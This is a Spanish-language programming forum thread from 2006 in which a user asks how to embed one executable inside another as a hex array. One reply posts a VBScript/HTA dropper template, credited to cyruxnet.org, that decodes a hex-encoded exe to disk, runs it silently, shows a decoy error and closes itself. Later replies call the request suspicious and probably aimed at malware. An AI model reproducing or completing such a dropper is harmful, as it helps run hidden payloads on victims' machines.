SoloCodigo
Programación General => C/C++ => Mensaje iniciado por: zed2000 en Miércoles 8 de Noviembre de 2006, 17:29
-
Hola, como puedo crear un programa q este a la vez contengo otro dentro. osea mas o menos como un
char[]="4d""5f"; o
char[]={0x50,0x90};
y q esto me represente el exe entonces en inconveniente q tengo es q, cuando como puedo pasarlo de hexadecimal a ascii para poder escribir el exe y q este a la vez no ocupe tanto espacio osea reemplazar la 00 por x y ff por y eso he visto con el object data pero en c++ como seria.
-
¿Que? Primero que lo que intentas es complejo y segundo que ASCII no tiene nada que ver ... intenta explicarte mejor.
-
miren esto en VBS:
Si queremos ejecutar un exe en la pc, debemos pasarlo a hexadecimal primero
colocamos este code en visual basic, para pasar el exe a hexadecimal
-------------------------------------------------------
Open "c:\mi_exe.exe" For Binary As #1
Open "c:\mi_exe.txt" For Output As #2
A$ = " "
While Not EOF(1)
Get #1, , A$
B$ = Hex$(Asc(A$))
If Len(B$) = 1 Then B$ = "0" + B$
Print #2, B$;
Wend
Close
-------------------------------------------------------
Lo que nos de en mi_exe.txt lo ponemos en el script a ejecutar de esta forma:
--------------------------------------------------------------------------
<script Language='VBScript'>
'Resumidor de errores y objetos fso y ws
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
'var con el code hexa del exe
HExeFile="4D5A90000300000.......code.hexa......0000000000000000000000000000"
'luego de 1 segundo llama al sub ExecFile
id = setTimeout("ExecFile()", 1000)
'Sub que escribe y ejecuta al exe
Sub ExecFile()
Set db = FSO.CreateTextFile("C:\TestG.exe")
db.Write Dcd(HExeFile)
db.Close
WS.Run "C:\TestG.exe": document.write "Error 2045"
->Esto para cerrar el hta despues de ejecutar el exe
window.close()
End Sub
'funcion que pasa el code hexa a binario para escribirlo en el exe
Function Dcd(HT)
For i = 1 To Len(HT) Step 2
tb = Chr(37+1) & Chr(72) & Mid(HT, i, 2): tt = tt & Chr(tb)
Next
Dcd = tt
End Function
</Script>
fuente cyruxnet.org
-
Nah ... eso es por la limitacion del lenguaje, hexadecimal no es mas que una notacion en base 16. En C lo unico que tenes que hacer es meter el ejecutable en un buffer (open/read) y escribir ese buffer (char* por ejemplo) en el archivo (open/write).
-
solo para aclarar
en vb para ejecutar una aplicación solo basta con:
Shell (ruta) :scream:
-
Zed:
hay que saber primero si el codigo que se esta ejecutando es una maquina virtual o es el procesador real.
si es el cpu entonces seria mas facil escribir en codigo maquina y realizar un salto hasta este punto en la memoria.
si es una maquina virtual seguro que hay que tener en cuenta otras cosas..
espero que te resulte claro..
pablo
-
Hola, como puedo crear un programa q este a la vez contengo otro dentro.
Blindaje!!!
fuente cyruxnet.org
es como para algun virus o algo asi?
no entiendo porque tienes que hacerlo hexadecimal y utilizar vbs osea quieres que sea a traves del navegador? (descarga y ejecucion remota? <_< ) sin que sea detectado como exe a mi me parece sospechoso
como dice Arkantos basta usar shell para ejecutar una aplicacion en VB o con una api ShellExecute
-
Eso Zed, hace un salto a la cabecera MZ, seguro que siendo un novato sabes lo suficiente de assembly como para hacerlo (ni hablemos de encontrar el punto de entrada del PE).
-
Hola, como puedo crear un programa q este a la vez contengo otro dentro.
Blindaje!!!
fuente cyruxnet.org
es como para algun virus o algo asi?
no entiendo porque tienes que hacerlo hexadecimal y utilizar vbs osea quieres que sea a traves del navegador? (descarga y ejecucion remota? <_< ) sin que sea detectado como exe a mi me parece sospechoso
como dice Arkantos basta usar shell para ejecutar una aplicacion en VB o con una api ShellExecute
pues si parece algo turbio :scream: :angry:
bye
-
Yo creo que tiene ganas de hacer malware pero es muy novato para eso.